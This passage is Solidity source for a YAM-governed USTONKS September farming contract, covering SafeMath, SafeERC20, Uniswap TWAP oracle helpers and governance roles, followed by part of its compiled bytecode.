opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /// Helper for a reserve contract to perform uniswap, price bound actions contract UniHelper{ using SafeMath for uint256; uint256 internal constant ONE = 10**18; function _mintLPToken( UniswapPair uniswap_pair, IERC20 token0, IERC20 token1, uint256 amount_token1, address token0_source ) internal { (uint256 reserve0, uint256 reserve1, ) = uniswap_pair .getReserves(); uint256 quoted = quote(reserve0, reserve1); uint256 amount_token0 = quoted.mul(amount_token1).div(ONE); token0.transferFrom(token0_source, address(uniswap_pair), amount_token0); token1.transfer(address(uniswap_pair), amount_token1); UniswapPair(uniswap_pair).mint(address(this)); } function _burnLPToken(UniswapPair uniswap_pair, address destination) internal { uniswap_pair.transfer( address(uniswap_pair), uniswap_pair.balanceOf(address(this)) ); UniswapPair(uniswap_pair).burn(destination); } function quote(uint256 purchaseAmount, uint256 saleAmount) internal pure returns (uint256) { return purchaseAmount.mul(ONE).div(saleAmount); } } contract YamGoverned { event NewGov(address oldGov, address newGov); event NewPendingGov(address oldPendingGov, address newPendingGov); address public gov; address public pendingGov; modifier onlyGov { require(msg.sender == gov, "!gov"); _; } function _setPendingGov(address who) public onlyGov { address old = pendingGov; pendingGov = who; emit NewPendingGov(old, who); } function _acceptGov() public { require(msg.sender == pendingGov, "!pendingGov"); address oldgov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldgov, gov); } } contract YamSubGoverned is YamGoverned { /** * @notice Event emitted when a sub gov is enabled/disabled */ event SubGovModified( address account, bool isSubGov ); /// @notice sub governors mapping(address => bool) public isSubGov; modifier onlyGovOrSubGov() { require(msg.sender == gov || isSubGov[msg.sender]); _; } function setIsSubGov(address subGov, bool _isSubGov) public onlyGov { isSubGov[subGov] = _isSubGov; emit SubGovModified(subGov, _isSubGov); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call.value(weiValue)(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // take the reciprocal of a UQ112x112 function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair, bool isToken0 ) internal view returns (uint priceCumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = UniswapPair(pair).getReserves(); if (isToken0) { priceCumulative = UniswapPair(pair).price0CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; } } else { priceCumulative = UniswapPair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } } // Hardcoding a lot of constants and stripping out unnecessary things because of high gas prices contract TWAPBoundedUSTONKSSEPT { using SafeMath for uint256; uint256 internal constant BASE = 10**18; uint256 internal constant ONE = 10**18; /// @notice Current uniswap pair for purchase & sale tokens UniswapPair internal uniswap_pair = UniswapPair(0xb9292B40cab08e5208b863ea9c4c4927a2308eEE); IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 internal constant SEPT_USTONKS = IERC20(0xad4353347f05438Ace12aef7AceF6CB2b4186C00); /// @notice last cumulative price update time uint32 internal block_timestamp_last; /// @notice last cumulative price; uint256 internal price_cumulative_last; /// @notice Minimum amount of time since TWAP set uint256 internal constant MIN_TWAP_TIME = 60 * 60; // 1 hour /// @notice Maximum amount of time since TWAP set uint256 internal constant MAX_TWAP_TIME = 120 * 60; // 2 hours /// @notice % bound away from TWAP price uint256 internal constant TWAP_BOUNDS = 5 * 10**15; function quote(uint256 purchaseAmount, uint256 saleAmount) internal pure returns (uint256) { return purchaseAmount.mul(ONE).div(saleAmount); } function bounds(uint256 uniswap_quote) internal pure returns (uint256) { uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE); return minimum; } function bounds_max(uint256 uniswap_quote) internal pure returns (uint256) { uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE); return maximum; } function withinBounds(uint256 purchaseAmount, uint256 saleAmount) internal view returns (bool) { uint256 uniswap_quote = consult(); uint256 quoted = quote(purchaseAmount, saleAmount); uint256 minimum = bounds(uniswap_quote); uint256 maximum = bounds_max(uniswap_quote); return quoted > minimum && quoted < maximum; } // callable by anyone function update_twap() public { (uint256 sell_token_priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices( address(uniswap_pair), false ); uint32 timeElapsed = blockTimestamp - block_timestamp_last; // overflow is impossible // ensure that it's been long enough since the last update require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED"); price_cumulative_last = sell_token_priceCumulative; block_timestamp_last = blockTimestamp; } function consult() internal view returns (uint256) { (uint256 sell_token_priceCumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices( address(uniswap_pair), false ); uint32 timeElapsed = blockTimestamp - block_timestamp_last; // overflow is impossible // overflow is desired uint256 priceAverageSell = uint256( uint224( (sell_token_priceCumulative - price_cumulative_last) / timeElapsed ) ); // single hop uint256 purchasePrice; if (priceAverageSell > uint192(-1)) { // eat loss of precision // effectively: (x / 2**112) * 1e18 purchasePrice = (priceAverageSell >> 112) * ONE; } else { // cant overflow // effectively: (x * 1e18 / 2**112) purchasePrice = (priceAverageSell * ONE) >> 112; } return purchasePrice; } modifier timeBoundsCheck() { uint256 elapsed_since_update = block.timestamp - block_timestamp_last; require( block.timestamp - block_timestamp_last < MAX_TWAP_TIME, "Cumulative price snapshot too old" ); require( block.timestamp - block_timestamp_last > MIN_TWAP_TIME, "Cumulative price snapshot too new" ); _; } } interface SynthMinter { struct Unsigned { uint256 rawValue; } struct PositionData { Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). Unsigned rawCollateral; // Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`. uint256 transferPositionRequestPassTimestamp; } function create( Unsigned calldata collateralAmount, Unsigned calldata numTokens ) external; function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory); function withdraw(Unsigned calldata collateral_amount) external; function positions(address account) external returns (PositionData memory); function settleExpired() external returns (Unsigned memory); function expire() external; } contract USTONKSSEPTFarming is TWAPBoundedUSTONKSSEPT, UniHelper, YamSubGoverned { enum ACTION { ENTER, EXIT } constructor(address gov_) public { gov = gov_; } SynthMinter minter = SynthMinter(0x799c9518Ea434bBdA03d4C0EAa58d644b768d3aB); bool completed = true; ACTION action; address internal constant RESERVES = address(0x97990B693835da58A281636296D2Bf02787DEa17); // ========= MINTING ========= function _mint(uint256 collateral_amount, uint256 mint_amount) internal { USDC.transferFrom(RESERVES, address(this), collateral_amount); USDC.approve(address(minter), uint256(-1)); minter.create( SynthMinter.Unsigned(collateral_amount), SynthMinter.Unsigned(mint_amount) ); } function _repayAndWithdraw() internal { SEPT_USTONKS.approve(address(minter), uint256(-1)); SynthMinter.PositionData memory position = minter.positions( address(this) ); uint256 ustonksBalance = SEPT_USTONKS.balanceOf(address(this)); // We might end up with more SEPT USTONKSA than we have debt. These will get sent to the treasury for future redemption if (ustonksBalance >= position.tokensOutstanding.rawValue) { minter.redeem(position.tokensOutstanding); } else { // We might end up with more debt than we have SEPT USTONKS. In this case, only redeem MAX(minSponsorTokens, ustonksBalance) // The extra debt will need to be handled externally, by either waiting until expiry, others sponsoring the debt for later reimbursement, or purchasing the ustonks minter.redeem( SynthMinter.Unsigned( position.tokensOutstanding.rawValue - ustonksBalance <= 1 * (10**6) ? position.tokensOutstanding.rawValue - 1 * (10**6) : ustonksBalance ) ); } } // ========= ENTER ========== function enter() public timeBoundsCheck { require(action == ACTION.ENTER, "Wrong action"); require(!completed, "Action completed"); uint256 ustonksReserves; uint256 usdcReserves; (usdcReserves, ustonksReserves, ) = uniswap_pair.getReserves(); require( withinBounds(usdcReserves, ustonksReserves), "Market rate is outside bounds" ); uint256 usdcBalance = USDC.balanceOf(RESERVES); require(usdcBalance > 100000 * (10**6), "Not enough USDC"); // This is so we can be sure the JUN contract exited // Since we are aiming for a CR of 4, we can mint with up to 80% of reserves // We mint slightly less so we can be sure there will be enough USDC uint256 collateral_amount = (usdcBalance * 79) / 100; uint256 mint_amount = (collateral_amount * ustonksReserves) / usdcReserves / 4; _mint(collateral_amount, mint_amount); _mintLPToken(uniswap_pair, USDC, SEPT_USTONKS, mint_amount, RESERVES); completed = true; } // ========== EXIT ========== function exit() public timeBoundsCheck { require(action == ACTION.EXIT); require(!completed, "Action completed"); uint256 ustonksReserves; uint256 usdcReserves; (usdcReserves,ustonksReserves, ) = uniswap_pair.getReserves(); require( withinBounds(usdcReserves, ustonksReserves), "Market rate is outside bounds" ); _burnLPToken(uniswap_pair, address(this)); _repayAndWithdraw(); USDC.transfer(RESERVES, USDC.balanceOf(address(this))); uint256 ustonksBalance = SEPT_USTONKS.balanceOf(address(this)); if (ustonksBalance > 0) { SEPT_USTONKS.transfer(RESERVES, ustonksBalance); } completed = true; } // ========= GOVERNANCE ONLY ACTION APPROVALS ========= function _approveEnter() public onlyGovOrSubGov { completed = false; action = ACTION.ENTER; } function _approveExit() public onlyGovOrSubGov { completed = false; action = ACTION.EXIT; } // ========= GOVERNANCE ONLY SAFTEY MEASURES ========= function _redeem(uint256 debt_to_pay) public onlyGovOrSubGov { minter.redeem(SynthMinter.Unsigned(debt_to_pay)); } function _withdrawCollateral(uint256 amount_to_withdraw) public onlyGovOrSubGov { minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw)); } function _settleExpired() public onlyGovOrSubGov { minter.settleExpired(); } function masterFallback(address target, bytes memory data) public onlyGovOrSubGov { target.call.value(0)(data); } function _getTokenFromHere(address token) public onlyGovOrSubGov { IERC20 t = IERC20(token); t.transfer(RESERVES, t.balanceOf(address(this))); } }
0x608060405234801561001057600080fd5b50600436106100d05760003560e01c806312d43a51146100d557806325240810146100f357806328a3dd2c146100fb578063343ac5331461011057806345cd1b17146101235780634bda2e201461012b57806373f03dff146101335780638d0cc11114610146578063aaeae5c314610159578063b559316314610161578063b909650214610181578063bd7d8df114610194578063d1dbf977146101a7578063e97dcb62146101af578063e9fad8ee146101b7578063fe26f479146101bf575b600080fd5b6100dd6101c7565b6040516100ea91906123a3565b60405180910390f35b6100dd6101d6565b61010e61010936600461202b565b6101e5565b005b61010e61011e36600461202b565b6102a6565b61010e610346565b61010e6103d3565b61010e610141366004611edd565b61046a565b61010e610154366004611f3d565b6104f3565b61010e61057b565b61017461016f366004611edd565b6105d4565b6040516100ea919061242a565b61010e61018f366004611f03565b6105e9565b61010e6101a2366004611edd565b610669565b61010e6107aa565b61010e610800565b61010e610ada565b61010e610ec1565b6002546001600160a01b031681565b6003546001600160a01b031681565b6002546001600160a01b031633148061020d57503360009081526004602052604090205460ff165b61021657600080fd5b600554604080516020810182528381529051632f8d78e560e11b81526001600160a01b0390921691635f1af1ca9161025091600401612509565b602060405180830381600087803b15801561026a57600080fd5b505af115801561027e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506102a29190810190611fc0565b5050565b6002546001600160a01b03163314806102ce57503360009081526004602052604090205460ff165b6102d757600080fd5b600554604080516020810182528381529051631f73d2e760e11b81526001600160a01b0390921691633ee7a5ce9161031191600401612509565b600060405180830381600087803b15801561032b57600080fd5b505af115801561033f573d6000803e3d6000fd5b5050505050565b60008054819061035f906001600160a01b031682610f7d565b600054919350915063ffffffff600160a01b9091048116820390610e1090821610156103a65760405162461bcd60e51b815260040161039d90612449565b60405180910390fd5b506001919091556000805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b6003546001600160a01b031633146103fd5760405162461bcd60e51b815260040161039d90612499565b60028054600380546001600160a01b03198084166001600160a01b0383811691909117958690559116909155604051918116927f1f14cfc03e486d23acee577b07bc0b3b23f4888c91fcdba5e0fef5a2549d55239261045f92859216906123b1565b60405180910390a150565b6002546001600160a01b031633146104945760405162461bcd60e51b815260040161039d90612479565b600380546001600160a01b038381166001600160a01b03198316179092556040519116907f6163d5b9efd962645dd649e6e48a61bcb0f9df00997a2398b80d135a9ab0c61e906104e790839085906123b1565b60405180910390a15050565b6002546001600160a01b031633148061051b57503360009081526004602052604090205460ff165b61052457600080fd5b816001600160a01b031660008260405161053e9190612397565b60006040518083038185875af1925050503d806000811461033f576040519150601f19603f3d011682016040523d82523d6000602084013e61033f565b6002546001600160a01b03163314806105a357503360009081526004602052604090205460ff165b6105ac57600080fd5b6005805460ff60a01b19811682556001919061ffff60a01b1916600160a81b835b0217905550565b60046020526000908152604090205460ff1681565b6002546001600160a01b031633146106135760405162461bcd60e51b815260040161039d90612479565b6001600160a01b03821660009081526004602052604090819020805460ff1916831515179055517f89a72fa31450add4a5b7b6e785ea3918017bd399450de805617222369b8574f6906104e790849084906123f4565b6002546001600160a01b031633148061069157503360009081526004602052604090205460ff165b61069a57600080fd5b6040516370a0823160e01b815281906001600160a01b0382169063a9059cbb907397990b693835da58a281636296d2bf02787dea179083906370a08231906106e69030906004016123a3565b60206040518083038186803b1580156106fe57600080fd5b505afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506107369190810190612049565b6040518363ffffffff1660e01b815260040161075392919061240f565b602060405180830381600087803b15801561076d57600080fd5b505af1158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506107a59190810190611f84565b505050565b6002546001600160a01b03163314806107d257503360009081526004602052604090205460ff165b6107db57600080fd5b6005805460ff60a01b19811682556000919061ffff60a01b1916600160a81b836105cd565b600054600160a01b900463ffffffff164203611c2081106108335760405162461bcd60e51b815260040161039d90612459565b600054610e10600160a01b90910463ffffffff164203116108665760405162461bcd60e51b815260040161039d906124b9565b6000600554600160a81b900460ff16600181111561088057fe5b1461089d5760405162461bcd60e51b815260040161039d90612489565b600554600160a01b900460ff16156108c75760405162461bcd60e51b815260040161039d906124e9565b6000805460408051630240bc6b60e21b8152905183926001600160a01b031691630902f1ac916004808301926060929190829003018186803b15801561090c57600080fd5b505afa158015610920573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506109449190810190611fde565b506001600160701b03908116935016905061095f8183611173565b61097b5760405162461bcd60e51b815260040161039d906124c9565b6040516370a0823160e01b815260009073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48906370a08231906109c9907397990b693835da58a281636296d2bf02787dea17906004016123a3565b60206040518083038186803b1580156109e157600080fd5b505afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a199190810190612049565b905064174876e8008111610a3f5760405162461bcd60e51b815260040161039d906124a9565b6064604f820204600060048486840281610a5557fe5b0481610a5d57fe5b049050610a6a82826111c3565b600054610abf906001600160a01b031673a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4873ad4353347f05438ace12aef7acef6cb2b4186c00847397990b693835da58a281636296d2bf02787dea1761137a565b50506005805460ff60a01b1916600160a01b17905550505050565b600054600160a01b900463ffffffff164203611c208110610b0d5760405162461bcd60e51b815260040161039d90612459565b600054610e10600160a01b90910463ffffffff16420311610b405760405162461bcd60e51b815260040161039d906124b9565b6001600554600160a81b900460ff166001811115610b5a57fe5b14610b6457600080fd5b600554600160a01b900460ff1615610b8e5760405162461bcd60e51b815260040161039d906124e9565b6000805460408051630240bc6b60e21b8152905183926001600160a01b031691630902f1ac916004808301926060929190829003018186803b158015610bd357600080fd5b505afa158015610be7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610c0b9190810190611fde565b506001600160701b039081169350169050610c268183611173565b610c425760405162461bcd60e51b815260040161039d906124c9565b600054610c58906001600160a01b0316306115ce565b610c60611747565b6040516370a0823160e01b815273a0b86991c6218b36c1d19d4a2e9eb0ce3606eb489063a9059cbb907397990b693835da58a281636296d2bf02787dea179083906370a0823190610cb59030906004016123a3565b60206040518083038186803b158015610ccd57600080fd5b505afa158015610ce1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610d059190810190612049565b6040518363ffffffff1660e01b8152600401610d2292919061240f565b602060405180830381600087803b158015610d3c57600080fd5b505af1158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610d749190810190611f84565b506040516370a0823160e01b815260009073ad4353347f05438ace12aef7acef6cb2b4186c00906370a0823190610daf9030906004016123a3565b60206040518083038186803b158015610dc757600080fd5b505afa158015610ddb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610dff9190810190612049565b90508015610ea85760405163a9059cbb60e01b815273ad4353347f05438ace12aef7acef6cb2b4186c009063a9059cbb90610e54907397990b693835da58a281636296d2bf02787dea1790859060040161240f565b602060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ea69190810190611f84565b505b50506005805460ff60a01b1916600160a01b1790555050565b6002546001600160a01b0316331480610ee957503360009081526004602052604090205460ff165b610ef257600080fd5b600560009054906101000a90046001600160a01b03166001600160a01b031663fcccedc76040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610f4257600080fd5b505af1158015610f56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f7a9190810190611fc0565b50565b600080610f88611a40565b90506000806000866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610fc857600080fd5b505afa158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506110009190810190611fde565b92509250925085156110bd57866001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561104557600080fd5b505afa158015611059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061107d9190810190612049565b94508363ffffffff168163ffffffff16146110b85780840363ffffffff81166110a68486611a4a565b516001600160e01b0316029590950194505b611169565b866001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b1580156110f657600080fd5b505afa15801561110a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061112e9190810190612049565b94508363ffffffff168163ffffffff16146111695780840363ffffffff81166111578585611a4a565b516001600160e01b0316029590950194505b5050509250929050565b60008061117e611abe565b9050600061118c8585611b59565b9050600061119983611b7e565b905060006111a684611bb4565b905081831180156111b657508083105b9450505050505b92915050565b6040516323b872dd60e01b815273a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48906323b872dd90611212907397990b693835da58a281636296d2bf02787dea1790309087906004016123cc565b602060405180830381600087803b15801561122c57600080fd5b505af1158015611240573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506112649190810190611f84565b5060055460405163095ea7b360e01b815273a0b86991c6218b36c1d19d4a2e9eb0ce3606eb489163095ea7b3916112ab916001600160a01b0316906000199060040161240f565b602060405180830381600087803b1580156112c557600080fd5b505af11580156112d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506112fd9190810190611f84565b5060055460408051602080820183528582528251908101835284815291516335d17cc960e11b81526001600160a01b0390931692636ba2f992926113449291600401612517565b600060405180830381600087803b15801561135e57600080fd5b505af1158015611372573d6000803e3d6000fd5b505050505050565b600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156113b657600080fd5b505afa1580156113ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506113ee9190810190611fde565b506001600160701b031691506001600160701b0316915060006114118383611b59565b9050600061143d670de0b6b3a7640000611431848963ffffffff611bdd16565b9063ffffffff611c1716565b6040516323b872dd60e01b81529091506001600160a01b038916906323b872dd906114709088908d9086906004016123cc565b602060405180830381600087803b15801561148a57600080fd5b505af115801561149e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506114c29190810190611f84565b5060405163a9059cbb60e01b81526001600160a01b0388169063a9059cbb906114f1908c908a9060040161240f565b602060405180830381600087803b15801561150b57600080fd5b505af115801561151f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115439190810190611f84565b506040516335313c2160e11b81526001600160a01b038a1690636a627842906115709030906004016123a3565b602060405180830381600087803b15801561158a57600080fd5b505af115801561159e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115c29190810190612049565b50505050505050505050565b6040516370a0823160e01b81526001600160a01b0383169063a9059cbb90849083906370a08231906116049030906004016123a3565b60206040518083038186803b15801561161c57600080fd5b505afa158015611630573d6000803e3d6000fd